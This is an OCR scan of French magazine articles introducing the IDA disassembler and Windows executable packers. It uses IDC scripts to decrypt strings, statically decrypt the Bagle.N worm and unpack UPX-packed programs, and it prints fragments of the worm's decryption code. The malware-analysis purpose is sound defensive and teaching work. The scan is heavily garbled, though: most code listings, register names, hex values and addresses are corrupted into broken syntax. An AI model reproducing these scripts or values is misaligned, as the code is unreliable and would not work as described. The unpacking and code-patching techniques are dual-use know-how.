CODE:AB4A1812 909 call  sub 481046

Pour se rendre a l'adresse 462600 il suffit simplement
de placer la souris sur l'adresse et de double-cliquer.




Nous sommes maintenant rendus a I'adresse et nous pouvons y
voir ceci :

DATA:BE462808  ; const CHAR byte 482068

! J byte 402080 b “[*

db 56h ; ¥
db 53 5 5
bl

C'est une chaine de caractéres. Nous pouvons donc la convertir
en ASCII a I'aide de la commande “A". |l suffit de placer la souris a
I'adresse 407000 et de presser A (Make Ascii).

Le résultat obtenu est le suivant :
sir-zs db VS8

A HB4EZ009

Nous retournons a |'adresse précédente i I'aide de la touche

Echap :
(ODE:BB401080 AB0 moy edx, offset str-»is ; “[{E°
CODE: dedelal2 aog call sub 401046

IDA a modifié le déesassemblage. On apergoit maintenant la chaine
de caracteres en commentaire.

Depuis quelques versions, IDA offre le Syntax Highlighting. En un
coup d'ceil, tous les appels a cette fonction sont mis en évidence
(voir figure 9).

Une autre des nouveautes particulierement intéressante d'IDA :les
hints. 5i on place notre souris sur I'adresse de la sous-routine, IDA
nous affiche le code présent a cette adresse sous la forme d'un
hint :voir figure 10.

Le code de la fonction est directement disponible en un clic de
souris. |'ai d'ailleurs déja renomme un registre en utilisant la méthode
présentée dans la premiere partie de 'article. Un regard avise
reconnaitra directement une boucle de décryptage, le registre EC)
servant d'indice de boucle, le registre EDX quant a lui pointe sur les
donnees a dechiffrer.

Il est possible de commenter le code, voici le resultat :
(0D gado1845
(0DE:@0401046
CODE: BEag1845

Decrypt proc near ; CODE XREF: start+lip
i start+2lp

i Decrypt+F]

compteurboucle = ecx

mov  al, [edwecx] ¢ 2] = Byte (Valeur
Ascii) du string pointé par EDX+ECK
CODE:PE4A1B4S dod xar  al, 12h + AL = AL XOR Bxi?
CODE:Bp481845 B8 mov  [edetecxd, a1 ; On sauvegarde e
resultat en EDK+ECK
CODE: DB4R184E doD fne e ¢ ECi++ (compteur)
(COBE: BE48184F 000 tmp  compteurboucle, ds:dword 402017 ; Avons

nous terming avec Te décryptage?
CODE:fR401055 Aea

COBE:AB481855

CODE:PR401857 oo xor

jnz short Decrypt ¢ Hon.. on boucle

U ECh =18

compteurboucle, compteurboucle ;

CODE: BR481059 Ao8 retn
CODE: BB4R1A5T
CODE:BR4g1ASY fecrypt endp

(ODE:B@4B1859

A partir de ce bout de code, on en déduit que le paramétre de la
fonction est passé via le registre £DX. D'ailleurs, on s'apergoit que
ECK (compteurboucle) est comparé avec un double-mot encore
indéfini.

Le double-mot est en fait initialisé par une valeur placée au prealable
dans le registre £0%. Cette valeur étant comparée a l'index de boucle,

il s'agit tout simplement de la taille de la chaine de caracteres a
décrypter. Apres multiples interactions avec notre désassemblage,
on obtient ceci :

public start

CODE: BR4E1000

CODE:BR401008 start proc near

CODE:Bp4R1e08 420 xar BCH, BCX s ECY =0
CODE: AB4n1802 BAg may edn, 3 vEl =3
CODE:MB4R1a87 BoR mov ds:taille chaine, edx
CODE:BB4@1000 oa moy edy, offset titre ; “[V5"

CONE:fadg1ei2 peg rall Decrypt ; Routine ga
Décryptage, EOK = ptrosur la chaine & décrypter

CODE: BRg1E12

CODE:BR4E1GLT BaA Moy edx, I2h ; EDX = @12
CODE: Bp40161C BA8 ey d5:tailte_chaine, edx
CODE:BR4A1EZZ 0B My edy, offset mecsage
CODEBRSRIEZT B0 call Decrypt ; Routine de

Décryptage, EDK = ptr sur la chaine & décrypter

CODE:BRdg1ez?

CODE-BRépLEZC B0 push @ i uType
CODE:BR4A1EZE Q84 push  offset titre . IpCaption
CODE:BA401633 208 push  offset message ; TpText

CODE:BR401638 B8C push @ + hind
CODE:PB40103A 618 call  HessageBoxd 1 MessageBoxd(@, offset

message, offset titre, 0);

CODE: Baca1634

CODE:BR4A103F Q00 push 8
CODE:BR4A1G4]1 Q4 call ExitPracess
CODE: 08401841

CODE:Bp4A1841 start endo

CODE:AB4a1641
CUDE:BB401040
CODE:@B401040 s
CODE:BB41046
CODE: 88481046
CODE: 8401046 Decrypt proc nesr

SUBRGUTT NE R R IR

1 CODE XREF: start+1?p

CODE: PB401846 : start+27p

CODE:dp401046 ; Decrypt+Fj

CODE: 8481046

CODE:8B401040 compteurboucie = ecx

CODE: BB4A1040

CODE:AR4R1846 000 mey a1, [ederecn] &l = Byte (Valeur

Ascif) du string pointé pan EDN*ECK

CODE:#B4A1849 200 xor al, 12h AL = AL X0R dxl2

CODE:AB4pIB4R 000 i [edxteck], a1 ; On sauveqarde Je
i en EDXHECK

CODE:8R40104% 0@ e
CODE:BB4A104F G20 g
fvons nous termine avec le décrypt

CODE; 85481055 ¢aa

3 :
compteurboucle, ds:t

short Dacrypt 5 Mom.. on boucle

CODE; Ba481855
CODE:BBsp1657 Ba0 A0r compteurboucle, compteurboucle ¢ ECK =
|

CODE; 20401855 498 retn
CODE:BR4B1659

[ecrypt enap

Notre programme decrypte les chaines de caracteres pour ensuite
les afficher a |'aide de la fonction MessageBoxA. Ceci est bien sar un
exemple, mais imaginons un instant qu'une application se serve de
chaines cryptées pour cacher le ou les fichier(s) gu’elle pourrait
effacer ou derober

Au lieu de prendre le risque de lancer I'application, il est preferable
de faire appel a un script IDC pour décrypter les chaines de
caractéres. L'algorithme de chiffrement étant trés simple, je ne
m'attarderai pas dessus. L'application va simplement effectuer un
XOR |2h avec la valeur ASCII du caractére en cours, pour ensuite
sauvegarder le résultat.Voici un script permettant de dechiffrer les
chaines de caracteres afin d'illustrer 'exemple :

G

#O0T AnoeaApnl - | sl
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<ide.ide>
fe decrypt_stringiadresse,tajllel

e

auto compteur aetety // Deux variables : compieur et Octet

for{compteur=taille;conpteur>d; compteur=compteur-1)
{
octet = Byte(adresse)
octet = } 124
PatchByteladrasse,octet); // on patche Te byte dans IDA par sa nouvelle
valeur

[/ On incrémente 1'adresse du string.

Le script prend en paramétre I'adresse du string a déchiffrer et sa
taille.

Apres avoir sauvegarde notre script, il suffit de le charger en appuyant
sur F2 (ou via le menu File, selon la version d'IDA). Pour lui fournir
des parametres, on utilise Shift + F2 et on entre :
decrypt_string(Bxd@2008, 0231,

= 0x402000 représente ['adresse du string :

DATA:BBAD2000 str->Ys db ‘[VS'.0

= (%3 est le nombre d'octets a décrypter :
CODE: 20401662 mov edx, 3 ; edx = 3

Apres I'execution du script, nous pouvons voir :
DATA, BP402008 str->vs db “10A", 6

Méme chose pour la seconde chaine :
decrypt_string(@x492884, Ax12)

Voici en figure | |, page suivante, le résultat final.

Cas pratique #2

De plus en plus de vers circulent sur Internet, et certains, en plus
d’étre packés (voir article sur les protections d'exécutables dans
ce méme numéro), sont aussi chiffrés.

L'exemple s'appuie sur un ver existant, Bagle.N, qui servira de cible
pour ce cas pratique. La démarche employée reste la méme, je ne
deétaillerai simplement plus toutes les étapes.

Voici, en figure 12, le point d'entrée de Bagle.N une fois commente.
J'ai souligné en rouge les appels aux sous routines chiffrées. Voici
un apercu de 'une d’entre elles : figure 13.

Une fois de plus, le langage IDC va s'avérer fort utile. Nous écrivons
un script pour continuer ['analyse statique. Celui-ci est
intentionnellement différent du premier pour présenter quelques
instructions et macros supplémentaires.
/1100 seript to decrypt Bagle. N
1 by Nicalas Srulez

#inchude <ide.ide>
{1 Pour exécuter le script automatiquement sans &voir @ passer de

parametres.
1

static mainl)

auto counter,J,address,size;

/I déclaration des variables
address = hare; t

! here est une macro. C'est pour

recupérer |'adresse pointée par la souris.

Message(“les données & déchiffrer commencent en: 2€\n" address);  // Un petit
exemple pour afficher du texte dans 104,
size = AskLong(08,"Please enter the number of bytes to decrypt... ") // Beite

de dizlogue pour entrer un nombre.

Message!"Te nombre est:hdin® sizel;

/ are un message
afficher 1e nombre entré,

for(counter=0;countar<size; counter+)

sert comme indice de bol

récliperation de 1'c
/ octet = octet ROR 3.
[ octet = octet H0R 088
place dans 1a base 1'octet

L TP I
= 1

d

=

chByteladdrass,d); /o
décrypté,
dddress+; /{ on incrémente 1 adresse,

}

{ L4 version actuelle d'ID4 ne contient

La prochaine version devra

pas d'implementation de ROR ou ROL.
. remedier & ce eme.

Pour utiliser le script, il suffit de positionner sa souris a l'adresse
voulue, c'est-a-dire #x481080. On peut double-cliquer sur 'adresse
dans le désassemblage pour sy rendre, ou presser “G” et taper :
0x401808 (voir figure 14).

Ensuite, on charge notre script dans IDA. Le seul parametre requis
est le nombre d'octets a déchiffrer, le script se charge de vous le
demander grace a la fonction AskLong (figure 15).

Vaici en figure |6, page suivante, le résultat du dechiffrement.

Les données sont maintenant en clair. Cependant le code n'est pas
désassemblé pour le moment. Pour obtenir un desassemblage, nous
changeons l'apparence des données qui sont représentees
actuellement sous la forme de double-mots.

Une fois de plus, nous automatisons cela a I'aide du langage IDC. Il
n'est pas toujours necessaire de creer un fichier IDC, surtout lorsque
le code est de petite taille. |l est possible de placer le code
directement dans la fenétre IDC (SHIFT + F2) comme en figure |7.

Voici le résultat apres exécution du script. Tout est maintenant défini
sous forme d'octets (figure |18).

A ce stade, il est possible de ré-assembler le code en utilisant la
touche "C", mais cela prendrait beaucoup trop de temps. Apres
avoir assemblé quelques parties de code manuellement, il serait plus
efficace d'utiliser I'option de "Reanalyse” du programme : Menu
Options, General, Analysis, Reanalyse Program.

Les choses se compliquent & cet endroit selon les binaires. IDA va
ou pas désassembler correctement toutes les parties du programme,
et dans le pire des cas, créer des tableaux de double mots et
n'affichera pas le code désassemble.

Lorsqu'|DA désassemble pour la premiere fois une application, le
module du processeur ainsi que le loader du format de fichier de
I'exécutable marquent de nombreux emplacements comme des
instructions potentielles. L'analyse en plusieurs passes permet
d'obtenir un trés bon désassemblage. Cependant, lors du
déchiffrement a I'aide d'un script, ces modules ne sont pas charges,
et I'analyse n'est pas aussi complete.

Pour contourner ce probléme, il existe une série de scripts IDC
[2] pour les exécutables Win32 PE par Atli Gudmundsson de
Symantec qui permettent de charger entierement une application
dans la Base d'IDA pour ensuite sauvegarder toutes les modifications
apportées dans un nouvel executable.

Je vais expliguer en deétail la marche a suivre :




= Avant méme de commencer a travailler sur le binaire sous IDA, il est nécessaire
de lancer le premier script “pe sections. idc” pour charger toutes les sections de
I'exécutable ;

= Ensuite, il faut exécuter toutes les étapes citées plus haut, c’est-a-dire le
déchiffrement de I'application et I'utilisation du mini-script pour obtenir le code
sous la forme d'octets ;

= A ce stade, nous voulons obtenir un désassemblage correct de I'application
en clair. Il nous faut donc lancer le script “pe_write.idc” qui nous propose
d'enregistrer le nouvel exécutable décrypté ;

= Il ne nous reste plus qu'a ouvrir cet exécutable sous IDA qui va effectuer
I'analyse complete du binaire et nous fournir un désassemblage parfait.

Notes : A la derniére étape, il est possible de recharger le fichier dans IDA a partir
de I'option du Menu : File, Load File, Reload the input File, et de preciser le fichier
qui vient d'étre créé a l'aide du script “pe_write.idc”. Cependant, cette méthode
ne nous fournira pas une analyse parfaite. Elle sera malgré tout bien meilleure que
I'option “Reanalyse program”. Dans notre exemple, le ver contient un ASCI| art au

P Figur ITHAPNYSTE 07 CHAY

DATA:BDLB2000 ; const CHAR str->Ida

DATA:0B4O2080 str->ida db 'IDA’,0 s DATA XF
DATA: 0BLEB28B80 & startsed
DATA: 00402604 I str->IntroductionRida db 'Introduction 0O I1DA',0

Stext: BBLOSFES start proc near
© .text:OBLOSFES By push (1] : puReserved
" .text:BOLOSFEER iy call Colmitialize

~text:0O405FER
" .text:BOLOSFEDR i moy esi, offset encrypted data ; Seurce of encrypted data
* ctext:BBsOSFF2 oD mow edi, esi ; Destimation Source = Code décrygpté
© Ltext:DELOSFFL oo mow ecx, HO4SY ; Taille du code 3 décryphter
" .texb:DOLOSFFD 00 cld + Clear Direction Flag

-text:B@LO5FFA
-text:004ASFFR decryproonde
-text:0OLOSFFA G000 lodsh

DODE HREF: starts185j
mov al, byte ptr [ESI] / inc ESI

.text:O0S0SFFE 600 rar al, 8 ;AL = AL RDR 2
et :BE405FFE 000 Hor al, #ah ; AL = 0L XDR Ox88
Stext:0B4DGDB0 D00 stosh ; mov byte pte [ED1], AL / inc EDI
o . text:0ENE00ET BO0 loop IeCrgpLEnde ; Boucle ECH Fois : Zanse
.Text:Bna0sem
© .Rexr:DD4BERR3 HaG call loc_NOSE7R
-text:DO405003 A
EeNt:DO4DS008 HAG call near pte loc NBSEDAS?
. Eext: 00408008 e
L EeXt:EDROSERD OBn call loc HEICYR
I3 - o & - - .
Jtext:B040SE7S '
* L text:0B4DSETS sub al, ibkh
* .text:0OLOSETT inc esp
Ltext:QO4OSETS
-fext:DOMBSETE loc_WDSE7S: 7 CODE XREF: start+1Djp
"L text:OBYOSETS out dx, al
* Ltext:00u05ET9 sbb [ebx], ah
* Ltext:DoL05E7B pop eax
" Ltext:DB4OSETTC bound esp, [ebx+21D1B9FEN]
* .text:004BSES2 inc esi
* .text:00u0sES: inc es
* .text:G0MDSESNH sub [esi-5Bh], ch
* .text:00uOSEST oy byte ptr [edi], 801h
T .text:DB4OSERA loopne loc_LOSED2
T Fepe i = = = = S T —————
text:esE0an eNCrypLed_data dd uhhaiuhan, 182318EEN, OEDBBCAGER, GNAGESDAR, HAS1H038N
text:GBLAI 000 ; DATH XREF: start+7jo
Ltext:panoiang dd GEDBELL4EL, LRUGESISh, W4GZHBIEH, DEDBBRALAN, LLLGEEI3R
text: BBLE 000 dd BRE1LB38H, L4B1BLELLL, DAbLLLGKN, 1BHZDDSAN, BYSACACZR
text:0byaiaba dd BEELM4BCH, JEDFIICANR, SE45DI4ER, BEIS32081h, 2B4BELBEN
text: D4 800 dd OB34E4G30N, SALIEF42N, OF62318EER, 1BORGEIBN, ZET1824EFN

LR BT pncrypted data dd bashhhhhh, 182318EEh, BEDBBCYGER, HH4GEBDIN, HLB14B38h

otz (N0 B0 : DATA XREF: starte?yo
text:opnainaa dd GEDBBANNGEN, SNMLEES13h, MWS2NBABN, BEDEBALELL, LUNGEB3IN
B T e[ T dd GLETL038Nh, LEB1&L4LN, BAWRLGELLNL, 1BAZDDSAL, BYSICACZH
ooLE aan dd LhELLLOCH, TuDF13CAN, SB45DILEh, OE35328B1h, ZBOBELOSH
rext : BaNET oo dd DBIL4LG30N, SALIEFLZh, OFG2I18EEh, 18046E18h, ZE18ZHEFh

enter a number _)_Sj
Fleave enter the number of bytes to decaypt
il [24250 |

; e |

Figure REES

[Please enter bext

Erer1DC stemnts)
auto 1 =

for (i=0x401000:i<0x40C000: 1++) {
| Hakelnknii 1}
A

| Figurc 1Y R TSN

* .text:Bou01000 e}mrypteu_uata db i}
* text:0B4G1081 db 1]
* Ltext:Boudpez db ]
* .text:Bohi1083 dis a
T Ltext:Ooubiooy db 55h ; U
* .text:poyotbes db @&Bh ; I
* Ltext:0o4D 006 db QECh ; U
* .text:pountae7 db BBh ; X

milieu du code, qui déstabilise IDA si celui-ci ne
recommence pas I'analyse complétement. Il est
donc préférable de recharger le fichier avec IDA
pour obtenir un résultat parfait

Notre executable est maintenant dechiffre et
désassemblé. L'analyse peut suivre son cours sans
avoir eu a exécuter le moindre bout de code.

Cas pratigue #3

Dans ce dernier exemple, je presenterai |'utilisation
du débogueur intégre a IDA (depuis la version 4.5)
pour l'unpacking d'exécutables. e couplerai
I"'utilisation du scripting d'IDA pour determiner
automatiquement I'adresse du saut vers |'exécutable
dechiffre en memoire, et présenterai la marche a
suivre pour la creation d'un dump fonctionnel.

Analyse du packer UPX

Par manque de place, je ne pourrai montrer
I'analyse compléte du packer UPX dans cet article.
Je m’en tiendrai donc au plus important. La
premiére étape est de trouver le point d'entree
original de I'application qui a été packee. En
désassemblant un fichier “UPXé"” on découvre
rapidement que le saut vers l'application est en
clair dans le programme. Le saut final se presente
toujours sous la méme forme, il est donc facilement
possible d'utiliser une signature pour detecter ce
dernier saut (voir figure 19).

007 003N - | ASijy
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UPX utilise toujours la méme signature pour appeler le point d'entrée

de l'application compressée. Un jmp short,un call, un popad et un
jmp far.Avec ses informations, il est possible d'écrire un script IDC
qui trouvera automatiquement I'emplacement du saut final.

Avant de nous attaguer au script de recherche, voici a quoi
ressemble le code a I'entry point.Vous pouvez voir sur la capture
d’ecran, les fenétres du débogueur d'IDA (figure 20).

Nous allons commencer par programmer un petit script IDC pour
trouver automatiquement le point d'entrée d'un soft "UPXe".
Comme vous avez pu le constater, la signature d'UPX est un jmp
short,un call,un popald) etun jmp far.Le decalage entre chaque
instruction est toujours le méme, ce qui simplifie grandement la
recherche.

Voici le script en question :
#inciude <ige.ide>
static maini)
[
[}
auto 1.k,
Hessagel “Es\nin® "UPY Entry Point Finder by Nm las Brulez");
fFor ({=SegStart{here); i<SegEnd(here)

i (Byte{i)=0xER Ak Word(i+2)=Bx96FF &% Byte(i+8)==Ox6l &&
Byte(i+3)==MxE9 )

¥ = §+#0

Messagel“\mdump to entry point found at: %X, Press F2 to set

& breakpointh
dump{x};
x =

substr(GetDisasmix), (strstr(GetDisasmix),™ J+4) strien(BetDisasaix)));
Messagel“The real entry point address 15: 354" x};

Ce petit script commence par récupérer |'adresse du debut du

segment auquel appartient le point d’entrée de I'application packée.
Il boucle jusqu'a la fin de la section (récupérée a l'aide de SegEnd).
Le script scanne tout simplement le code a la recherche des octets

équivalents aux opcodes de la signature d'UPX.

BxEB - Jmp short

[’;FFQ* - [all dword ptr [esi+xax] (Intel
faible placé avant e bit de poids fort)

apport au seript).

#x6l - popald)

BaE% - Jmp FAR

Tise le Tittie endian (b1t de poids
17 explique |'ordre inverse par

Le script nous place automatiquement sur 'adresse du Jmp Entry
Point et affiche quelques informations importantes pour la suite :
figure 21.

Comme vous pouvez le voir sur la capture d'écran, le script trouve
bien le saut vers le point d'entrée. En pressant F2 sur une version
recente d'|DA, un point d'arrét est pose sur |'adresse qui nous
intéresse. |l ne nous reste plus qu'a lancer I'application a ['aide du
debogueur pour stopper juste avant le saut vers le programme
décompresse en memoire.

Une fois le débogueur lancé et I'application stoppee sur le point
d'arrét, il ne nous reste plus qu'a dumper le processus. Pour
cela, nous utilisons le dumper intégre a |'application ImpRec [3]
(Import Reconstructor) : voir figure 22.

L'application décompressée est maintenant dumpée sur le disque
dur. Nous reconstruisons une nouvelle table d'import toute neuve
a l'aide du méme programme. Dans la capture d'écran précédente,
vous pouvez voir un champ “OEP" (Original Entry Point}, c'est ici qu'il
faut placer la RYA (Relative Virtual Address, adresse virtuelle relative
a I'image base : adresse a laquelle est chargée |'exécutable en
memoire.

Pour plus d'information, lire l'article sur les protections
d'exécutables.) de 'entry point du programme decompresse. Nous




avons trouve cette valeur a l'aide

=
Ll aiber o 1A TIRAL |

de notre script IDC. L'adresse du oy e P
point d’entrée trouvée est 41F141. [8e oo Gl OO0 0 e T (.S |
Cette valeur étant une adresse - e o
virtuelle (VA), il va falloir la convertir P St St
en RVA. Pour cela, rien de plus R P
simple, il suffit de soustraire I'image L e i 1
base 4 notre adresse pour obtenir: = D i B ol ol = e
IFI4] (41Fl41 - 400000). Nous oy [ ool AT VA e o D000 i Y. OO0 s 0001000 ]
mettons donc a jour notre champ, :":ﬁ e
et nous pressons par la méme e == = s e
occasion |AT Autosearch pour OEP[PO0N0 T aueisect | | [0 See [OOD0ONT | oeR RO WTAustencn]| | pyn 0000 Sew [ROORPEE —
rechercher I'IAT (Import Address oo Do 7 e e o R s et i
Table) de notre application. Imprec | =) setel ussnd iz ! = toadioe] SemTee] Sugme] e

nous informe qu'il a bien trouve une

IAT, et nous demande de presser Get
Imports pour obtenir les imports de
I'application : figure 23.

ImpRec nous informe qu'il a trouve les
imports de notre application, et qu'il a pu
tous les réparer. |l ne nous reste plus qu'a
réparer notre fichier dump. Nous pressons
Fix Dump et selectionnons notre
exécutable dumpé. Notre application est =

maintenant complétement reconstruite et REILE 2
parfaitement fonctionnelle (figure 24).

Options:

A partir de Ia, il est possible de commencer
I'analyse statique du fichier precéedemment

P comes with

compressé. La table d'import etant com-

Documents and

RBS

LUTELY NO UARRANTY; for details

Settings“Adninistrateur

plétement reconstruite, vous pourrez voir
les appels aux fonctions de "APIWindows
dans votre desassemblage.

Exemples de scripts IDC
Extraction de données

Il n'est pas rare de rencontrer des malwares qui procédent a une
extraction d'un autre exécutable pour I'executer juste ensuite. Ce
genre de code est trés facilement repérable dans un désassemblage.
Yoici un script qui extrait les informations sans avoir a executer le
programme. |l est donc possible d'analyser le nouvel exécutable
statiquement.

#include <idc.ide>

static main()

auto fHandie,fname,result;

e=hskFile (1,™.*" "Please enter a Filename”);

result=savefilelfHandle @ here AskLong(98, "Number of bytes to dump?”));

Ce petit script extrait I'exécutable (ou n'importe quel type de
données) dans un fichier. Notre script commence par nous demander
le nom du fichier qui contiendra les données dumpées, puis nous
demande ensuite le nombre d'octets a dumper. Pour trouver cette
valeur, cherchez le parametre nlumber0fBytesTolrite de la fonction
“WriteFile" (ou le parametre équivalent si ¢’est une autre fonction).

Recherche d’'un emplacement
pour Ajout de code

L'ajout de code a un exécutable déja compilé est parfois necessaire
si un éditeur tarde a sortir un patch de sécurité pour son
programme. || est alors nécessaire de trouver un emplacement dans
le programme, qui pourrait contenir le code i ajouter. Le padding
en fin de sections s'avére étre un choix intéressant, et suffit
généralement pour contenir une petite routine qui viendra corriger
une faille de sécurité par exemple.

Voici un script de recherche automatique :
#include <idc.ide>
static main{)

1

autn f,x,flags;
x = FirstSeg(}; // adress premier segment

/I Boucle pour Erouver |'adresse du dernie segment
while  NextSegix) !

r

% = NextSealx)

[ hdresse de fin du dernier segment -1
1 = Segendix) - I;

/ Boucle pour trouver le premier byte géfini
e { GetFlags(i) = @x108 |

= 4| 35l
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Conclusion

/I On ajoute 2 bytes pour Etre sur-gue tout est reglo

Jumpli#2) Cet article est une petite introduction au desassembleur |DA.

Je n'ai présenté ici que les bases de son utilisation. Je n'ai pas

_ Message("Vous svez %d octets de disponibles”, Seaknd(x) - pu couvrir 'utilisation de la technologie FLIRT, ni la création
s de plugins. Cependant, les capacités d'analyse d'IDA présentées

| ici surpassent largement n'importe quel outil d'analyse statique.
Yous trouverez ici [4] une version freeware fonctionnant tres
bien avec les executables Win32. IDA reste |'outil parfait pour
I'analyse de malwares, la recherche de vulnérabilicés [5], ou le
désassemblage multi-plateformes [6].

Ce script recherche a la fin du fichier un emplacement pour ajouter
du code. Il vous affichera le nombre d'octets libres trouvés et vous
rendra a I'adresse du premier octet trouvé.Yous pourrez donc lire
I'offset dans le fichier de cet emplacement, et vous y rendre pour
ajouter votre code. Il faudra modifier les caractéristiques de la
section pour la rendre exécutable. L'ajout de fonctions dans un
binaire déja compilé fera slirement 'objet d'un article complet, dans

Je tiens a remercier toute I'équipe de DataRescue, et plus
particulierement Iifak Guilfanov, pour son aide precieuse tout
au long de la redaction de cet article.

un prochain numéro de MISC.
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Les protections
d’exécutables Windows

Nicolas Brulez - 0x90@rstack.org

Chief of Security - The Armadillo Software Protection System

http:/fwww.siliconrealms.com/armadillo.htm

Comment ne pas parler des protections d’exécutables
dans un dossier sur le Reverse Engineering ? De nos
jours, la majorité des vers utilisent des packers
d'exécutables pour tromper les anti-virus, les néophytes
et, quelquefois, ralentir I'analyse.Vous découvrirez dans
ces quelques pages, une présentation non exhaustive
des méthodes de protection d’exécutables Windows.

Introduction

Au travers de cet article vous découvrirez le principe de
fonctionnement des packers d'exécutables, ainsi que les
principales méthodes de protection existantes.

Je commencerai par détailler les modifications apportées a
la structure des exécutables Windows PE, puis parcourrai
une liste non exhaustive de protections.

Cet article est purement theorique. |'éviterai par consequent
les listings interminables en assembleur et vous invite a lire
mon article Techniques de Reverse Engineering - Analyse d'un
exécutable “verrouille” [ 1] pour approfondir le sujet aborde.

Vous pourrez tout de méme voir comment unpacker un
exécutable PE en lisant I'article intitulé Introduction au Reverse
Engineering et d IDA, présent dans ce numéro.

MZ Header
IMAGE_DOS_HEADER
MS-DOS Stub Program

PE Header e
IMAGE_NT_HEADERS P IMAGE_FILE_HEADER

IMAGE_OPTIONAL_HEADER

signature

Section Headers
[MAGE_SECTION_HEADER

Section.text

Section.data

Section.rsrc

Section...

Schema. | : Format de fichier PE

Les Protections d’exécutables
Win32 PE

Format PE

Avant toute chose, il est nécessaire de revenir succinctement sur
les grands principes du format de fichier PE (Portable Executable)
afin d'appréhender plus facilement la suite de ['article. Le format PE
decrit le type de fichier exécutable des plateformes Win32. Un
fichier PE se décompose suivant le schema |,

L'en-téte MZ (MZ Header) reste uniquement pour la rétro-
compatibilité avec MS-DOS. Si un fichier exécutable Win32 est
execute sous DOS, alors I'en-téte MZ lance le MS-DOS Stub Program
qui se contente le plus souvent d'afficher le message “This program
cannot be run in DOS mode”. Ce code se situe juste apres l'en-
téte MZ dans le fichier PE.

Dans le IMAGE_DOS_Header, seuls deux membres de la structure sont
importants pour nous : e_magic qui contient les lettres "MZ", et
e_1fanew qui contient I'offset du PE header.

Ensuite vient le PE Header, et plus exactement, la structure
IMAGE _NT _HEADERS :
IMAGE_NT_HEADERS STRUCT
Signature dd ?
FileHeader IMAGE FILE HEADER <
OptionalHeader IMAGE_OPTIONAL HEADERIZ <
[MAGE_NT_HEADERS ENDS

La structure IMAGE_NT _HEADERS contient des informations importantes
telles que la signature PE\PE, et aussi d'autres structures
intéressantes :

# La structure IMAGE_FILE HEADER
IMAGE_FILE_HEADER 5
Maching WERD

Numbar(fSections KORD

TimeDateStamp dd
fichier
pinterToSymbol Table dd
mbois dd
alHeager WORD /

Characteristics WORD  //Permet de déten
ung d17 etc
[MAGE_FILE_HEADER ENDS

pxécuter e fichier
ble PE

exOeutad

[{type de processeur attendu
nbre de sections dans 1
formations sur 1g date et 1'heure de creation du

(impartant)
ner &1 le fichier PE est un exe,

Voici un dump de la structure File Header du fichier Notepad.exe
de Windows XP :

->File Header
Machine: GxB140 (1386)
Kumber0fSections: 0xda83
Timelatestamp: Bx3BTOB4ED (GHT: Fri Aug 17 20:52:29 2661
PointerToSympolTable: HxfOdRECED
NumberdfSymbals: dxBREEEEAD
SizelfOptionalHeader: OxBAER
Characteristics: JxB1eF
{RELOCS_STRIPPED)
(EXECUTABLE_IMAGE)
(LINE_NUMS_STRIFPED)
| SYMS_STRIPPED)
(32BIT_MACHINE)

(2)
S

" | I8
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# La structure IMAGE_OPTIONAL_HEADER32
Cette structure contient vraiment beaucoup d'informations, je ne
presenterai que les champs importants pour cet article. Mais voyons
auparavant deux notions essentielles :
" ImageBase est I'adresse a laquelle un exécutable sera charge
en meémoire ;
* une RVA (Refative Virtual Address) est une adresse virtuelle
relative (offset) a I'adresse de |'ImageBase :a ne pas confondre
avec les RAW Offsets, qui eux sont relatifs au début du fichier.
Pour calculer une adresse en mémoire lorsque 'on connait son
RVA, il suffit d'y ajouter |'ImageBase, pour former |'adresse
mémoire (voir Tableau 1).

Dump partiel de [MAGE_OPTIONAL HFADER:

->(ptional Header

AddressOfEntryPoint: DxA0eeeAED

ImzgeBase: fx01000000

SectionAlignment; AxRage1an

FileAlignment: BxARBEazaa

Sizelfimage: BxRa@13880

§ize0fHeaders: AxfBEaRAAa

Subsystem: AxABBZ  (WINDOWS_GUT)
DataDirectory (16} Ria Size

ExportTable 000000000 BxARAG0AED
ImportTable #100086020 DxABRAAACS (. text")
Resource DxDB0AAGO0 BxDRREBELY (*.rsrc”)
Exception AxB000AG00 xdeaeoaad

Security 2x00RRA0I DxBeRERAGD

Relocation 0xA0000600 DxBR0E0RGH

Debug Ax20001340 BxRERRGALC (“.text”)
Lopyright Jx000E000E DxBEEEERGH

GlobalPtr d«A0REEAE BxAAAEEERE

TLSTakle HxAR00EEEE DxBEREGAGD

Uxin0asacD Bxaeoddoad
8x3p008256 AxBADCAEDD

Loadlonfig
BoundImport

[AT 6xB0001080 DxB00R0324 (" text™)
Delaylmport xA8000000 BxBR0eE0R0
COM Bx80000000 OxfRRAOEAY
feserved 6xBo8Ra000 dxDARaLEAD

# Les structures IMAGE_SECTION_HEADER STRUCT
Pour terminer avec le format PE, a la suite du PE Header, une
description de chaque section est donneée par la structure
IMAGE SECTION HEADER. Encore une fois, tous les membres ne sont
pas utiles, voici les plus importants : voir Tableau 2.

# Dump d’une structure IMAGE_SECTION_HEADER :

->%ection Header Tahle

1, item:

liame: text
VirtualSize: 800817838
WirtualAddress: dx98001008
SizelfRawData: #8001 7400
PointerToRawData: 0x0DBE040E

FointerToRelocations: @x0a080080

PointerTolinenumbers: @xB9E00000

Number(fRelocations:  @xda88

NumberOfLinenumbers:  BxdB88

Characteristics: 169000026

(CODE, EAECUTE, READ)
Pour bien comprendre le fonctionnement des protections
d’exécurables, il est primordial d’avoir une bonne connaissance du
format de fichier Windows. Je vous invite a lire une documentation
complete ici [2].

Modifications du PE HEADER

Lors de la protection d'un exécutable Windows, les packers
effectuent diverses modifications du PE header, telles que I'ajout
d'une nouvelle structure IMAGE SECTION _HEADER dans la SECTION HEADER
THBLE (ajout d'une nouvelle section avec les caractéristiques
appropriées), la modification du point d'entrée (Entry Point), etc.

Ajout de section

La majorité des protections/packers ajoutent une nouvelle section
au programme a protéger. C'est cette section qui contiendra le
LOADER de la protection, chargé de decompresser et/ou décrypter
la section CODE du programme protege, et d'effectuer certaines
tiches normalement attribuées au PE LOADER de Windows. L'ajout
d'une nouvelle section se fait en deux étapes.

La section est ajoutee dans la SECTION HEADER TABLE. Une structure
decrivant les caracteristiques de la section est donc ajoutée. Cette
structure contient I'adresse virtuelle (RVA) de la nouvelle section
ainsi que la taille de la section en mémoire (alignée selon le
SectionATignment), I'offset (RAW 0ffset) de la section dans le fichier,
ainsi que la taille de la section (RAW Size alignée selon le
FileAlignment) dans le fichier.

Les caracteristiques de la section contiennent en général EXECUTABLE,
READABLE, WRITEABLE : la section doit étre executable, lisible et
modifiable (décryptage).

Tableau |

Champ Description
AddressOfEntryPoint | Contient fa RVA du point d'entrée (a
ImageBase

Wmdows
SectionAlignment ' 4
FileAlignment
SizeQFImage

les relocations, etc.

